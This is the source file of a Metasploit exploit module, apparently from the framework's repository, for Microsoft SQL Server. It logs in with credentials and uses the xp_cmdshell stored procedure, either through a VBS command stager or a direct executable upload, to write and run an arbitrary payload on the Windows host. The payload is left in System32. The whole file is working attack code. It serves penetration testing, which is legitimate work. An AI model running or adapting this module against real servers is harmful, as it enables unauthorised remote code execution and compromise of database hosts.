metasploit-framework/modules/exploits/windows/mssql/mssql_payload.rb

86 lines
2.4 KiB
Ruby
Raw Normal View History

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::MSSQL
include Msf::Exploit::CmdStagerVBS
#include Msf::Exploit::CmdStagerDebugAsm
#include Msf::Exploit::CmdStagerDebugWrite
#include Msf::Exploit::CmdStagerTFTP
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution',
'Description' => %q{
This module will execute an arbitrary payload on a Microsoft SQL
Server, using the Windows debug.com method for writing an executable to disk
and the xp_cmdshell stored procedure. File size restrictions are avoided by
incorporating the debug bypass method presented at Defcon 17 by SecureState.
Note that this module will leave a metasploit payload in the Windows
System32 directory which must be manually deleted once the attack is completed.
},
'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2000-1209' ],
[ 'CVE', '2000-0402' ],
[ 'OSVDB', '557' ],
[ 'OSVDB', '4787' ],
[ 'BID', '1281' ],
[ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptBool.new('UseCmdStager', [ false, "Wait for user input before returning from exploit", true ]),
])
end
# This is method required for the CmdStager to work...
def execute_command(cmd, opts)
mssql_xpcmdshell(cmd, datastore['VERBOSE'])
end
def exploit
if (not mssql_login_datastore)
print_status("Invalid SQL Server credentials")
return
end
# Use the CmdStager or not?
if (not datastore['UseCmdStager'])
exe = generate_exe
mssql_upload_exec(exe, datastore['VERBOSE'])
else
execute_cmdstager({ :linemax => 1500, :nodelete => true })
#execute_cmdstager({ :linemax => 1500 })
end
handler
disconnect
end
end